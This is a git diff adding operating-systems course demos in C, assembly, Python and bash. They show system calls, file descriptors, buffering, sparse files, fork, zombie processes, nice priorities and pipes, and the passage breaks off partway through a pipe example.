diff --git a/courses/curs-01-demo/syscall-libc-call-asm/.gitignore b/courses/curs-01-demo/syscall-libc-call-asm/.gitignore new file mode 100644 index 00000000..f5934d56 --- /dev/null +++ b/courses/curs-01-demo/syscall-libc-call-asm/.gitignore @@ -0,0 +1 @@ +/syscall-libc-call diff --git a/courses/curs-01-demo/syscall-libc-call-asm/Makefile b/courses/curs-01-demo/syscall-libc-call-asm/Makefile new file mode 100644 index 00000000..b5e024ee --- /dev/null +++ b/courses/curs-01-demo/syscall-libc-call-asm/Makefile @@ -0,0 +1,14 @@ +LDFLAGS = -m32 + +.PHONY: all clean + +all: syscall-libc-call + +syscall-libc-call: syscall-libc-call.o + +syscall-libc-call.o: syscall-libc-call.asm + nasm -f elf32 -o $@ $< + +clean: + -rm -f *~ + -rm -f syscall-libc-call.o syscall-libc-call diff --git a/courses/curs-01-demo/syscall-libc-call-asm/syscall-libc-call.asm b/courses/curs-01-demo/syscall-libc-call-asm/syscall-libc-call.asm new file mode 100644 index 00000000..e631edc2 --- /dev/null +++ b/courses/curs-01-demo/syscall-libc-call-asm/syscall-libc-call.asm @@ -0,0 +1,26 @@ +extern printf + +section .rodata + message db "anaaremere", 10, 0 + len equ $-message + +section .text + +global main + +main: + push ebp + mov ebp, esp + + push message + call printf + add esp, 4 + + mov ebx, 1 + mov ecx, message + mov edx, len + mov eax, 4 + int 0x80 + + leave + ret diff --git a/courses/curs-02-demo/buffered-system-io/.gitignore b/courses/curs-02-demo/buffered-system-io/.gitignore new file mode 100644 index 00000000..694459f4 --- /dev/null +++ b/courses/curs-02-demo/buffered-system-io/.gitignore @@ -0,0 +1,3 @@ +/buffered +/system +/*.txt diff --git a/courses/curs-02-demo/buffered-system-io/Makefile b/courses/curs-02-demo/buffered-system-io/Makefile new file mode 100644 index 00000000..7049edb3 --- /dev/null +++ b/courses/curs-02-demo/buffered-system-io/Makefile @@ -0,0 +1,18 @@ +CC = gcc +CPPFLAGS = -I../utils +CFLAGS = -Wall -Wextra -g + +.PHONY: all clean + +all: buffered system + +buffered: buffered.o + +buffered.o: buffered.c ../utils/utils.h + +system: system.o + +system.o: system.c ../utils/utils.h + +clean: + -rm -f *.o *~ buffered system *.txt diff --git a/courses/curs-02-demo/buffered-system-io/buffered.c b/courses/curs-02-demo/buffered-system-io/buffered.c new file mode 100644 index 00000000..a27e4310 --- /dev/null +++ b/courses/curs-02-demo/buffered-system-io/buffered.c @@ -0,0 +1,32 @@ +#include +#include +#include +#include + +#include "utils.h" + +int main(void) +{ + FILE *f; + size_t i; + + for (i = 0; i < 10; i++) { + printf("a"); + sleep(1); + } + printf("\n"); + + f = fopen("f.txt", "w+"); + DIE(f == NULL, "fopen"); + + for (i = 0; i < 10; i++) { + fprintf(f, "a"); + fprintf(f, "\n"); + sleep(1); + } + fflush(f); + + fclose(f); + + return 0; +} diff --git a/courses/curs-02-demo/buffered-system-io/system.c b/courses/curs-02-demo/buffered-system-io/system.c new file mode 100644 index 00000000..1cf9c7e3 --- /dev/null +++ b/courses/curs-02-demo/buffered-system-io/system.c @@ -0,0 +1,33 @@ +#include +#include +#include +#include +#include +#include + +#include "utils.h" + +int main(void) +{ + int fd; + size_t i; + + for (i = 0; i < 10; i++) { + write(STDOUT_FILENO, "a", 1); + sleep(1); + } + write(STDOUT_FILENO, "\n", 1); + + fd = open("f.txt", O_RDWR | O_CREAT | O_TRUNC, 0644); + DIE(fd < 0, "open"); + + for (i = 0; i < 10; i++) { + write(fd, "a", 1); + write(fd, "\n", 1); + sleep(1); + } + + close(fd); + + return 0; +} diff --git a/courses/curs-02-demo/c-file-ops/.gitignore b/courses/curs-02-demo/c-file-ops/.gitignore new file mode 100644 index 00000000..3859c62d --- /dev/null +++ b/courses/curs-02-demo/c-file-ops/.gitignore @@ -0,0 +1,2 @@ +/c-file-ops +/f.txt diff --git a/courses/curs-02-demo/c-file-ops/Makefile b/courses/curs-02-demo/c-file-ops/Makefile new file mode 100644 index 00000000..7cf76f06 --- /dev/null +++ b/courses/curs-02-demo/c-file-ops/Makefile @@ -0,0 +1,14 @@ +CC = gcc +CPPFLAGS = -I../utils +CFLAGS = -Wall -Wextra -g + +.PHONY: all clean + +all: c-file-ops + +c-file-ops: c-file-ops.o + +c-file-ops.o: c-file-ops.c ../utils/utils.h + +clean: + -rm -f *.o *~ c-file-ops *.txt diff --git a/courses/curs-02-demo/c-file-ops/c-file-ops.c b/courses/curs-02-demo/c-file-ops/c-file-ops.c new file mode 100644 index 00000000..40d74e23 --- /dev/null +++ b/courses/curs-02-demo/c-file-ops/c-file-ops.c @@ -0,0 +1,60 @@ +#include +#include +#include +#include +#include +#include + +#include "utils.h" + +#define BUFSIZE 1024 + +static char buffer[BUFSIZE] = { '1', }; + +static void msg_and_wait(const char *msg) +{ + char buf[256]; + + puts(msg); + fputs(" Press ENTER to continue ...", stdout); fflush(stdout); + + while(1) { + fgets(buf, 256, stdin); + if (buf[strlen(buf)-1] == '\n') + break; + } +} + +int main(void) +{ + int fd; + ssize_t n; + int ret; + + msg_and_wait("started program"); + + fd = open("f.txt", O_RDWR | O_CREAT | O_TRUNC, 0644); + DIE(fd < 0, "open"); + msg_and_wait("opened f.txt"); + + n = write(fd, buffer, BUFSIZE); + DIE(n < 0, "write"); + msg_and_wait("written 1024 bytes"); + + n = lseek(fd, -512, SEEK_CUR); + DIE(n < 0, "lseek"); + msg_and_wait("went backwards 512 bytes"); + + n = read(fd, buffer, 256); + DIE(n < 0, "read"); + msg_and_wait("read 256 bytes"); + + ret = ftruncate(fd, 256); + DIE(ret < 0, "ftruncate"); + msg_and_wait("truncated file to 256 bytes"); + + close(fd); + msg_and_wait("closed files"); + + return 0; +} diff --git a/courses/curs-02-demo/fdtsize/.gitignore b/courses/curs-02-demo/fdtsize/.gitignore new file mode 100644 index 00000000..144f846b --- /dev/null +++ b/courses/curs-02-demo/fdtsize/.gitignore @@ -0,0 +1 @@ +/fdtsize diff --git a/courses/curs-02-demo/fdtsize/Makefile b/courses/curs-02-demo/fdtsize/Makefile new file mode 100644 index 00000000..ae50e7c6 --- /dev/null +++ b/courses/curs-02-demo/fdtsize/Makefile @@ -0,0 +1,14 @@ +CFLAGS = -Wall -Wextra -g + +.PHONY: all clean + +all: fdtsize + +fdtsize: fdtsize.o + +fdtsize.o: fdtsize.c + +clean: + -rm -f *~ + -rm -f fdtsize.o fdtsize + diff --git a/courses/curs-02-demo/fdtsize/aaa b/courses/curs-02-demo/fdtsize/aaa new file mode 100644 index 00000000..e69de29b diff --git a/courses/curs-02-demo/fdtsize/fdtsize.c b/courses/curs-02-demo/fdtsize/fdtsize.c new file mode 100644 index 00000000..a2cf93fb --- /dev/null +++ b/courses/curs-02-demo/fdtsize/fdtsize.c @@ -0,0 +1,21 @@ +#include +#include + +int main(void) +{ + FILE *f; + size_t i; + + for (i = 0; i < 1030; i++) { + printf("i = %zu, open file\n", i); + f = fopen("aaa", "r"); + if (f == NULL) { + perror("fopen"); + break; + } + } + + printf("Opened %zu file descriptors.\n", i); + + return 0; +} diff --git a/courses/curs-02-demo/fopen-perm/.gitignore b/courses/curs-02-demo/fopen-perm/.gitignore new file mode 100644 index 00000000..ca7a3106 --- /dev/null +++ b/courses/curs-02-demo/fopen-perm/.gitignore @@ -0,0 +1 @@ +/fopen-perm diff --git a/courses/curs-02-demo/fopen-perm/Makefile b/courses/curs-02-demo/fopen-perm/Makefile new file mode 100644 index 00000000..e373b62e --- /dev/null +++ b/courses/curs-02-demo/fopen-perm/Makefile @@ -0,0 +1,15 @@ +CPPFLAGS = -I../utils +CFLAGS = -Wall -Wextra -g + +.PHONY: all clean + +all: fopen-perm + +fopen-perm: fopen-perm.o + +fopen-perm.o: fopen-perm.c + +clean: + -rm -f *~ + -rm -f fopen-perm.o fopen-perm + diff --git a/courses/curs-02-demo/fopen-perm/aaa b/courses/curs-02-demo/fopen-perm/aaa new file mode 100644 index 00000000..e69de29b diff --git a/courses/curs-02-demo/fopen-perm/fopen-perm.c b/courses/curs-02-demo/fopen-perm/fopen-perm.c new file mode 100644 index 00000000..2d8174ce --- /dev/null +++ b/courses/curs-02-demo/fopen-perm/fopen-perm.c @@ -0,0 +1,38 @@ +#include +#include + +#include "utils.h" + +int main(void) +{ + FILE *f; + + f = fopen("aaa", "r"); + fclose(f); + + f = fopen("aaa", "w"); + DIE(f == NULL, "fopen"); + fclose(f); + + f = fopen("aaa", "a"); + DIE(f == NULL, "fopen"); + fclose(f); + + f = fopen("aaa", "rw"); + DIE(f == NULL, "fopen"); + fclose(f); + + f = fopen("aaa", "r+"); + DIE(f == NULL, "fopen"); + fclose(f); + + f = fopen("aaa", "w+"); + DIE(f == NULL, "fopen"); + fclose(f); + + f = fopen("aaa", "a+"); + DIE(f == NULL, "fopen"); + fclose(f); + + return 0; +} diff --git a/courses/curs-02-demo/open-dup/.gitignore b/courses/curs-02-demo/open-dup/.gitignore new file mode 100644 index 00000000..07432b7c --- /dev/null +++ b/courses/curs-02-demo/open-dup/.gitignore @@ -0,0 +1,2 @@ +/dup +/open diff --git a/courses/curs-02-demo/open-dup/Makefile b/courses/curs-02-demo/open-dup/Makefile new file mode 100644 index 00000000..489698ca --- /dev/null +++ b/courses/curs-02-demo/open-dup/Makefile @@ -0,0 +1,18 @@ +CC = gcc +CPPFLAGS = -I../utils +CFLAGS = -Wall -Wextra -g + +.PHONY: all clean + +all: open dup + +open: open.o + +open.o: open.c ../utils/utils.h + +dup: dup.o + +dup.o: dup.c ../utils/utils.h + +clean: + -rm -f *.o *~ open dup *.txt diff --git a/courses/curs-02-demo/open-dup/dup.c b/courses/curs-02-demo/open-dup/dup.c new file mode 100644 index 00000000..3fdf92cd --- /dev/null +++ b/courses/curs-02-demo/open-dup/dup.c @@ -0,0 +1,53 @@ +#include +#include +#include +#include +#include +#include +#include + +#include "utils.h" + +static void msg_and_wait(const char *msg) +{ + char buf[256]; + + puts(msg); + fputs(" Press ENTER to continue ...", stdout); fflush(stdout); + + while(1) { + fgets(buf, 256, stdin); + if (buf[strlen(buf)-1] == '\n') + break; + } +} + +int main(void) +{ + + int fd1, fd2, rc, pos; + + msg_and_wait("open start"); + + fd1 = open("Makefile", O_RDWR); + DIE(fd1 < 0, "open file.txt"); + msg_and_wait("open Makefile"); + + fd2 = dup(fd1); + DIE(fd2 < 0, "dup"); + msg_and_wait("fd2 = dup(fd1)"); + + pos = lseek(fd1, 100, SEEK_SET); + DIE(pos < 0, "lseek"); + msg_and_wait("lseek on fd1"); + + rc = close(fd1); + DIE(rc < 0, "fd1"); + msg_and_wait("close fd1"); + + rc = close(fd2); + DIE(rc < 0, "fd2"); + msg_and_wait("close fd2"); + + return 0; +} diff --git a/courses/curs-02-demo/open-dup/open.c b/courses/curs-02-demo/open-dup/open.c new file mode 100644 index 00000000..6f053a10 --- /dev/null +++ b/courses/curs-02-demo/open-dup/open.c @@ -0,0 +1,53 @@ +#include +#include +#include +#include +#include +#include +#include + +#include "utils.h" + +static void msg_and_wait(const char *msg) +{ + char buf[256]; + + puts(msg); + fputs(" Press ENTER to continue ...", stdout); fflush(stdout); + + while(1) { + fgets(buf, 256, stdin); + if (buf[strlen(buf)-1] == '\n') + break; + } +} + +int main(void) +{ + + int fd1, fd2, rc, pos; + + msg_and_wait("open start"); + + fd1 = open("Makefile", O_RDWR); + DIE(fd1 < 0, "open file.txt"); + msg_and_wait("first open Makefile"); + + fd2 = open("Makefile", O_RDWR); + DIE(fd1 < 0, "open file.txt"); + msg_and_wait("second open Makefile"); + + pos = lseek(fd1, 100, SEEK_SET); + DIE(pos < 0, "lseek"); + msg_and_wait("lseek on fd1"); + + rc = close(fd1); + DIE(rc < 0, "fd1"); + msg_and_wait("close fd1"); + + rc = close(fd2); + DIE(rc < 0, "fd2"); + msg_and_wait("close fd2"); + + return 0; +} diff --git a/courses/curs-02-demo/py-file-ops/.gitignore b/courses/curs-02-demo/py-file-ops/.gitignore new file mode 100644 index 00000000..468537e1 --- /dev/null +++ b/courses/curs-02-demo/py-file-ops/.gitignore @@ -0,0 +1 @@ +/f.txt diff --git a/courses/curs-02-demo/py-file-ops/py-file-ops.py b/courses/curs-02-demo/py-file-ops/py-file-ops.py new file mode 100644 index 00000000..ea71c660 --- /dev/null +++ b/courses/curs-02-demo/py-file-ops/py-file-ops.py @@ -0,0 +1,36 @@ +#!/usr/bin/env python + +import sys + +def msg_and_wait(msg): + print msg + print " Press ENTER to continue ...", + sys.stdout.flush() + + buf = sys.stdin.readline() + +def main(): + msg_and_wait("started program") + + f = open("f.txt", "w+") + msg_and_wait("opened f.txt") + + for i in range(64): + f.write("0123456789012345") + f.flush() + msg_and_wait("written 1024 bytes") + + f.seek(-512, 2) + msg_and_wait("went back 512 bytes") + + buf = f.read(256) + msg_and_wait("read 256 bytes") + + f.truncate(256) + msg_and_wait("truncated file to 256 bytes") + + f.close() + msg_and_wait("closed file") + +if __name__ == "__main__": + sys.exit(main()) diff --git a/courses/curs-02-demo/save-fd/.gitignore b/courses/curs-02-demo/save-fd/.gitignore new file mode 100644 index 00000000..886832c6 --- /dev/null +++ b/courses/curs-02-demo/save-fd/.gitignore @@ -0,0 +1 @@ +/save-fd diff --git a/courses/curs-02-demo/save-fd/Makefile b/courses/curs-02-demo/save-fd/Makefile new file mode 100644 index 00000000..378fe873 --- /dev/null +++ b/courses/curs-02-demo/save-fd/Makefile @@ -0,0 +1,15 @@ +CPPFLAGS = -I../utils +CFLAGS = -Wall -Wextra -g + +.PHONY: all clean + +all: save-fd + +save-fd: save-fd.o + +save-fd.o: save-fd.c ../utils/utils.h + +clean: + -rm -f *.o *~ + -rm -f *.txt + -rm -f save-fd diff --git a/courses/curs-02-demo/save-fd/save-fd.c b/courses/curs-02-demo/save-fd/save-fd.c new file mode 100644 index 00000000..6f0c9c2c --- /dev/null +++ b/courses/curs-02-demo/save-fd/save-fd.c @@ -0,0 +1,31 @@ +#include +#include +#include +#include +#include +#include + +#include "utils.h" + +int main(void) +{ + int ret; + int fd; + + fd = open("bogdan.txt", O_RDWR | O_CREAT | O_TRUNC, 0644); + DIE(fd < 0, "open"); + + ret = dup2(1, 42); + DIE(ret < 0, "dup2"); + + ret = dup2(fd, 1); + DIE(ret < 0, "dup2"); + + write(1, "ana are mere\n", 13); + dup2(42, 1); + write(1, "alin nu are mere\n", 17); + + close(fd); + + return 0; +} diff --git a/courses/curs-02-demo/sparse-file/.gitignore b/courses/curs-02-demo/sparse-file/.gitignore new file mode 100644 index 00000000..5f8ab3ee --- /dev/null +++ b/courses/curs-02-demo/sparse-file/.gitignore @@ -0,0 +1,2 @@ +/sparse-file +/sparse.dat diff --git a/courses/curs-02-demo/sparse-file/Makefile b/courses/curs-02-demo/sparse-file/Makefile new file mode 100644 index 00000000..098829d0 --- /dev/null +++ b/courses/curs-02-demo/sparse-file/Makefile @@ -0,0 +1,14 @@ +CC = gcc +CPPFLAGS = -I../utils +CFLAGS = -Wall -Wextra -g + +.PHONY: all clean + +all: sparse-file + +sparse-file: sparse-file.o + +open.o: sparse-file.c + +clean: + -rm -f *.o *~ sparse-file diff --git a/courses/curs-02-demo/sparse-file/sparse-file.c b/courses/curs-02-demo/sparse-file/sparse-file.c new file mode 100644 index 00000000..36e4a3bf --- /dev/null +++ b/courses/curs-02-demo/sparse-file/sparse-file.c @@ -0,0 +1,40 @@ +#include +#include +#include +#include +#include +#include + +#include "utils.h" + +#define FILENAME "sparse.dat" + +static char buffer[1024]; + +int main(void) +{ + int fd; + int ret; + + memset(buffer, 'A', 1024); + + fd = open(FILENAME, O_WRONLY | O_CREAT | O_TRUNC, 0644); + DIE(fd < 0, "open"); + + ret = write(fd, buffer, 1024); + DIE(ret < 0, "write"); + + ret = lseek(fd, 1024, SEEK_END); + DIE(ret < 0, "lseek"); + + ret = write(fd, buffer, 1024); + DIE(ret < 0, "write"); + + ret = lseek(fd, 1024, SEEK_END); + DIE(ret < 0, "lseek"); + + ret = write(fd, buffer, 1024); + DIE(ret < 0, "write"); + + return 0; +} diff --git a/courses/curs-02-demo/stdout-stderr/.gitignore b/courses/curs-02-demo/stdout-stderr/.gitignore new file mode 100644 index 00000000..229f356b --- /dev/null +++ b/courses/curs-02-demo/stdout-stderr/.gitignore @@ -0,0 +1 @@ +/stdout-stderr diff --git a/courses/curs-02-demo/stdout-stderr/Makefile b/courses/curs-02-demo/stdout-stderr/Makefile new file mode 100644 index 00000000..ce9072a6 --- /dev/null +++ b/courses/curs-02-demo/stdout-stderr/Makefile @@ -0,0 +1,14 @@ +CC = gcc +CPPFLAGS = -I../utils +CFLAGS = -Wall -Wextra -g + +.PHONY: all clean + +all: stdout-stderr + +stdout-stderr: stdout-stderr.o + +open.o: stdout-stderr.c + +clean: + -rm -f *.o *~ stdout-stderr diff --git a/courses/curs-02-demo/stdout-stderr/stdout-stderr.c b/courses/curs-02-demo/stdout-stderr/stdout-stderr.c new file mode 100644 index 00000000..d5d59cae --- /dev/null +++ b/courses/curs-02-demo/stdout-stderr/stdout-stderr.c @@ -0,0 +1,30 @@ +#include +#include + +/* + * Change to 'stderr' to see when buffer flushing occurs. + * stderr is unbuffered. Flushing is done at each call. + * stdout is line buffered. Flushing happens at newline. + * + * Check the setvbuf(3) man page for additional info. + */ +#define writer stdout + +static void write_and_sleep(const char *message) +{ + fputs(message, writer); + sleep(2); +} + +int main(void) +{ + write_and_sleep("All"); + write_and_sleep(" your"); + write_and_sleep(" base"); + write_and_sleep(" are"); + write_and_sleep(" belong"); + write_and_sleep(" to"); + write_and_sleep(" us!"); + + return 0; +} diff --git a/courses/curs-02-demo/truncate/.gitignore b/courses/curs-02-demo/truncate/.gitignore new file mode 100644 index 00000000..dcdd20c1 --- /dev/null +++ b/courses/curs-02-demo/truncate/.gitignore @@ -0,0 +1,2 @@ +/truncate +/fake-gargantua.dat diff --git a/courses/curs-02-demo/truncate/Makefile b/courses/curs-02-demo/truncate/Makefile new file mode 100644 index 00000000..b427b4c9 --- /dev/null +++ b/courses/curs-02-demo/truncate/Makefile @@ -0,0 +1,14 @@ +CC = gcc +CPPFLAGS = -I../utils +CFLAGS = -Wall -Wextra -g + +.PHONY: all clean + +all: truncate + +truncate: truncate.o + +open.o: truncate.c + +clean: + -rm -f *.o *~ truncate diff --git a/courses/curs-02-demo/truncate/truncate.c b/courses/curs-02-demo/truncate/truncate.c new file mode 100644 index 00000000..054e1b63 --- /dev/null +++ b/courses/curs-02-demo/truncate/truncate.c @@ -0,0 +1,31 @@ +#include +#include +#include +#include +#include + +#include "utils.h" + +#define FILENAME "fake-gargantua.dat" +#define SIZE_TO_TRUNCATE (10*2048UL*1024*1024) /* 20GB */ + +int main(void) +{ + int fd; + int ret; + struct stat sbuf; + + fd = open(FILENAME, O_WRONLY | O_CREAT | O_TRUNC, 0644); + DIE(fd < 0, "open"); + + ret = ftruncate(fd, SIZE_TO_TRUNCATE); + DIE(ret < 0, "ftruncate"); + + ret = fstat(fd, &sbuf); + DIE(ret < 0, "ftruncate"); + + printf("file size is: %ld\n", sbuf.st_size); + printf("number of blocks is: %ld\n", sbuf.st_blocks); + + return 0; +} diff --git a/courses/curs-02-demo/utils/utils.h b/courses/curs-02-demo/utils/utils.h new file mode 100644 index 00000000..e7652def --- /dev/null +++ b/courses/curs-02-demo/utils/utils.h @@ -0,0 +1,25 @@ +/** + * SO, 2011 + * Lab #3, Procese + * + * Useful structures/macros + */ + +#ifndef LIN_UTILS_H_ +#define LIN_UTILS_H_ 1 + +#include +#include + +/* useful macro for handling error codes */ +#define DIE(assertion, call_description) \ + do { \ + if (assertion) { \ + fprintf(stderr, "(%s, %d): ", \ + __FILE__, __LINE__); \ + perror(call_description); \ + exit(EXIT_FAILURE); \ + } \ + } while(0) + +#endif diff --git a/courses/curs-03-demo/ctxt-switch/.gitignore b/courses/curs-03-demo/ctxt-switch/.gitignore new file mode 100644 index 00000000..2d9cbbe3 --- /dev/null +++ b/courses/curs-03-demo/ctxt-switch/.gitignore @@ -0,0 +1,2 @@ +/io +/cpu diff --git a/courses/curs-03-demo/ctxt-switch/Makefile b/courses/curs-03-demo/ctxt-switch/Makefile new file mode 100644 index 00000000..14c54152 --- /dev/null +++ b/courses/curs-03-demo/ctxt-switch/Makefile @@ -0,0 +1,18 @@ +CC = gcc +CPPFLAGS = -I../utils +CFLAGS = -Wall -Wextra -g + +.PHONY: all clean + +all: cpu io + +cpu: cpu.o + +cpu.o: cpu.c ../utils/utils.h + +io: io.o + +io.o: io.c ../utils/utils.h + +clean: + -rm -f *.o *~ cpu io diff --git a/courses/curs-03-demo/ctxt-switch/cpu.c b/courses/curs-03-demo/ctxt-switch/cpu.c new file mode 100644 index 00000000..3ec76d95 --- /dev/null +++ b/courses/curs-03-demo/ctxt-switch/cpu.c @@ -0,0 +1,20 @@ +#include +#include +#include +#include + +#include "utils.h" + +int main(void) +{ + size_t i, j; + size_t val = 0x12345678; + + for (i = 0; i < 10000000; i++) { + val = val ^ i; + for (j = 0; j < 10000000; j++) + val = val ^ j; + } + + return 0; +} diff --git a/courses/curs-03-demo/ctxt-switch/io.c b/courses/curs-03-demo/ctxt-switch/io.c new file mode 100644 index 00000000..ab978964 --- /dev/null +++ b/courses/curs-03-demo/ctxt-switch/io.c @@ -0,0 +1,21 @@ +#include +#include +#include +#include + +#include "utils.h" + +int main(void) +{ + size_t i, j; + size_t val = 0x12345678; + + for (i = 0; i < 100; i++) { + val = val ^ i; + for (j = 0; j < 100; j++) + write(STDOUT_FILENO, "a", 1); + sleep(3); + } + + return 0; +} diff --git a/courses/curs-03-demo/fork-file-pointer/.gitignore b/courses/curs-03-demo/fork-file-pointer/.gitignore new file mode 100644 index 00000000..912825fd --- /dev/null +++ b/courses/curs-03-demo/fork-file-pointer/.gitignore @@ -0,0 +1,2 @@ +/fork-file-pointer +/f.txt diff --git a/courses/curs-03-demo/fork-file-pointer/Makefile b/courses/curs-03-demo/fork-file-pointer/Makefile new file mode 100644 index 00000000..d1a1bdaf --- /dev/null +++ b/courses/curs-03-demo/fork-file-pointer/Makefile @@ -0,0 +1,14 @@ +CC = gcc +CPPFLAGS = -I../utils +CFLAGS = -Wall -Wextra -g + +.PHONY: all clean + +all: fork-file-pointer + +fork-file-pointer: fork-file-pointer.o + +fork-file-pointer.o: fork-file-pointer.c ../utils/utils.h + +clean: + -rm -f *.o *~ fork-file-pointer *.txt diff --git a/courses/curs-03-demo/fork-file-pointer/fork-file-pointer.c b/courses/curs-03-demo/fork-file-pointer/fork-file-pointer.c new file mode 100644 index 00000000..0c06a41e --- /dev/null +++ b/courses/curs-03-demo/fork-file-pointer/fork-file-pointer.c @@ -0,0 +1,57 @@ +#include +#include +#include +#include +#include +#include +#include + +#include "utils.h" + +int main(void) +{ + pid_t pid; + int fd; + ssize_t ret; + + fd = open("f.txt", O_WRONLY | O_CREAT | O_TRUNC, 0644); + DIE(fd < 0, "open"); + + sleep(5); + + ret = write(fd, "0000000000", 10); + DIE(ret < 0, "write"); + + sleep(5); + + pid = fork(); + switch (pid) { + case -1: /* error */ + DIE(pid == -1, "fork"); + + case 0: /* child process */ + ret = write(fd, "1111111111", 10); + DIE(ret < 0, "write"); + + sleep(5); + + exit(EXIT_SUCCESS); + break; + + default: /* parent process */ + break; + } + + /* Only parent process reaches this point. */ + + /* Wait for child process. Don't care about exit status. */ + ret = waitpid(pid, NULL, 0); + DIE(ret < 0, "waitpid"); + + ret = write(fd, "2222222222", 10); + DIE(ret < 0, "write"); + + sleep(5); + + return 0; +} diff --git a/courses/curs-03-demo/orphan-zombie/.gitignore b/courses/curs-03-demo/orphan-zombie/.gitignore new file mode 100644 index 00000000..45561f43 --- /dev/null +++ b/courses/curs-03-demo/orphan-zombie/.gitignore @@ -0,0 +1,2 @@ +/orphan +/zombie diff --git a/courses/curs-03-demo/orphan-zombie/Makefile b/courses/curs-03-demo/orphan-zombie/Makefile new file mode 100644 index 00000000..5baf5af4 --- /dev/null +++ b/courses/curs-03-demo/orphan-zombie/Makefile @@ -0,0 +1,18 @@ +CC = gcc +CPPFLAGS = -I../utils +CFLAGS = -Wall -Wextra -g + +.PHONY: all clean + +all: orphan zombie + +orphan: orphan.o + +orphan.o: orphan.c ../utils/utils.h + +zombie: zombie.o + +zombie.o: zombie.c ../utils/utils.h + +clean: + -rm -f *.o *~ orphan zombie diff --git a/courses/curs-03-demo/orphan-zombie/orphan.c b/courses/curs-03-demo/orphan-zombie/orphan.c new file mode 100644 index 00000000..c754c719 --- /dev/null +++ b/courses/curs-03-demo/orphan-zombie/orphan.c @@ -0,0 +1,35 @@ +#include +#include +#include +#include +#include +#include +#include + +#include "utils.h" + +int main(void) +{ + pid_t pid; + + pid = fork(); + switch (pid) { + case -1: /* error */ + DIE(pid == -1, "fork"); + + case 0: /* child process */ + printf(" [child] Parent is not dead. PPID is %d.\n", getppid()); + sleep(10); + printf(" [child] Parent is dead. PPID is %d.\n", getppid()); + exit(EXIT_SUCCESS); + break; + + default: /* parent process */ + break; + } + + /* Sleep to sync with child process then exit. */ + sleep(5); + + return 0; +} diff --git a/courses/curs-03-demo/orphan-zombie/zombie.c b/courses/curs-03-demo/orphan-zombie/zombie.c new file mode 100644 index 00000000..afa6732e --- /dev/null +++ b/courses/curs-03-demo/orphan-zombie/zombie.c @@ -0,0 +1,42 @@ +#include +#include +#include +#include +#include +#include +#include + +#include "utils.h" + +int main(void) +{ + pid_t pid; + int ret; + + pid = fork(); + switch (pid) { + case -1: /* error */ + DIE(pid == -1, "fork"); + + case 0: /* child process */ + printf(" [child] Terminate in 5 seconds. No zombie processes yet\n"); + sleep(5); + exit(EXIT_SUCCESS); + break; + + default: /* parent process */ + break; + } + + /* Sleep to sync with child process then wait for it. */ + sleep(5); + printf(" [parent] Child is dead. Check zombie processes.\n"); + + sleep(10); + ret = waitpid(pid, NULL, 0); + DIE(ret < 0, "waitpid"); + printf(" [parent] Waited for child. Zombie process is gone.\n"); + sleep(5); + + return 0; +} diff --git a/courses/curs-03-demo/utils/utils.h b/courses/curs-03-demo/utils/utils.h new file mode 100644 index 00000000..e7652def --- /dev/null +++ b/courses/curs-03-demo/utils/utils.h @@ -0,0 +1,25 @@ +/** + * SO, 2011 + * Lab #3, Procese + * + * Useful structures/macros + */ + +#ifndef LIN_UTILS_H_ +#define LIN_UTILS_H_ 1 + +#include +#include + +/* useful macro for handling error codes */ +#define DIE(assertion, call_description) \ + do { \ + if (assertion) { \ + fprintf(stderr, "(%s, %d): ", \ + __FILE__, __LINE__); \ + perror(call_description); \ + exit(EXIT_FAILURE); \ + } \ + } while(0) + +#endif diff --git a/courses/curs-04-demo/nice/.gitignore b/courses/curs-04-demo/nice/.gitignore new file mode 100644 index 00000000..93ac7886 --- /dev/null +++ b/courses/curs-04-demo/nice/.gitignore @@ -0,0 +1,2 @@ +/cpu +/pri*.txt diff --git a/courses/curs-04-demo/nice/Makefile b/courses/curs-04-demo/nice/Makefile new file mode 100644 index 00000000..0aed980e --- /dev/null +++ b/courses/curs-04-demo/nice/Makefile @@ -0,0 +1,14 @@ +CC = gcc +CPPFLAGS = -I../utils +CFLAGS = -Wall -Wextra -g + +.PHONY: all clean + +all: cpu + +cpu: cpu.o + +cpu.o: cpu.c ../utils/utils.h + +clean: + -rm -f *.o *~ cpu *.txt diff --git a/courses/curs-04-demo/nice/cpu.c b/courses/curs-04-demo/nice/cpu.c new file mode 100644 index 00000000..d45f1554 --- /dev/null +++ b/courses/curs-04-demo/nice/cpu.c @@ -0,0 +1,20 @@ +#include +#include +#include +#include + +#include "utils.h" + +int main(void) +{ + size_t i, j; + size_t val = 0x12345678; + + for (i = 0; i < 10000000; i++) { + val = val ^ i; + for (j = 0; j < 300; j++) + val = val ^ j; + } + + return 0; +} diff --git a/courses/curs-04-demo/nice/start-all b/courses/curs-04-demo/nice/start-all new file mode 100644 index 00000000..836dea18 --- /dev/null +++ b/courses/curs-04-demo/nice/start-all @@ -0,0 +1,8 @@ +#!/bin/bash + +sudo nice -n -20 /usr/bin/time -v ./cpu 2> pri-20-v1.txt & +sudo nice -n -20 /usr/bin/time -v ./cpu 2> pri-20-v2.txt & +sudo /usr/bin/time -v ./cpu 2> pri0-v1.txt & +sudo /usr/bin/time -v ./cpu 2> pri0-v2.txt & +sudo nice -n 19 /usr/bin/time -v ./cpu 2> pri+19-v1.txt & +sudo nice -n 19 /usr/bin/time -v ./cpu 2> pri+19-v2.txt & diff --git a/courses/curs-04-demo/pipe/.gitignore b/courses/curs-04-demo/pipe/.gitignore new file mode 100644 index 00000000..a2260bdd --- /dev/null +++ b/courses/curs-04-demo/pipe/.gitignore @@ -0,0 +1 @@ +/pipe diff --git a/courses/curs-04-demo/pipe/Makefile b/courses/curs-04-demo/pipe/Makefile new file mode 100644 index 00000000..6e151650 --- /dev/null +++ b/courses/curs-04-demo/pipe/Makefile @@ -0,0 +1,14 @@ +CC = gcc +CPPFLAGS = -I../utils +CFLAGS = -Wall -Wextra -g + +.PHONY: all clean + +all: pipe + +pipe: pipe.o + +pipe.o: pipe.c ../utils/utils.h + +clean: + -rm -f *.o *~ pipe diff --git a/courses/curs-04-demo/pipe/pipe.c b/courses/curs-04-demo/pipe/pipe.c new file mode 100644 index 00000000..c4716731 --- /dev/null +++ b/courses/curs-04-demo/pipe/pipe.c @@ -0,0 +1,69 @@ +#include +#include +#include +#include +#include +#include "utils.h" + + +#ifndef BUFSIZ +#define BUFSIZ 256 +#endif + + +int main(void) +{ + int pipefd[2]; + const char *send_msg = "Take care, my son."; + char recv_buf[BUFSIZ]; + pid_t pid; + int rc; + + rc = pipe(pipefd); + DIE(rc < 0, "pipe"); + + pid = fork(); + switch (pid) { + case -1: /* error */ + DIE(pid < 0, "fork"); + break; + + case 0: 